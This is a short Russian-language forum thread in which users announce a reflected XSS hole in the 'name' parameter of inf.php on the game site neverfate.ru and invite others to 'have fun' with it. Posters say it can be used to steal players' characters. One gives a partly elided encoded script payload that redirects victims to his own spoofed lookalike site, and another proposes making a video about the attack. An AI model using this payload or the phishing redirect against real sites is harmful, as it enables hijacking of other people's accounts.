Уязвимость в Neverfate.ru
 

Вот тут xss на neverfate.ru нахел =)
Тут http://neverfate.ru/inf.php?name=[xss]
Развлекайтесь =)
Может кто еще что найдет?

гм.. я конечно не силен в xss-ке.. но помоему там ничё нет.. а если есть то пассивная xss

Так мона и перса украсть.

Да там пассивная xss. Вполне можно чара украсть =)
Вот пример - nev.h16.ru мой подставной сайт с url spoofing.
http://neverfate.ru/inf.php?name=%3C...72%69%70%74%3E - ссылка для редиректа на сайт.

Может видео про это снять, а?

Сними можна без проблем.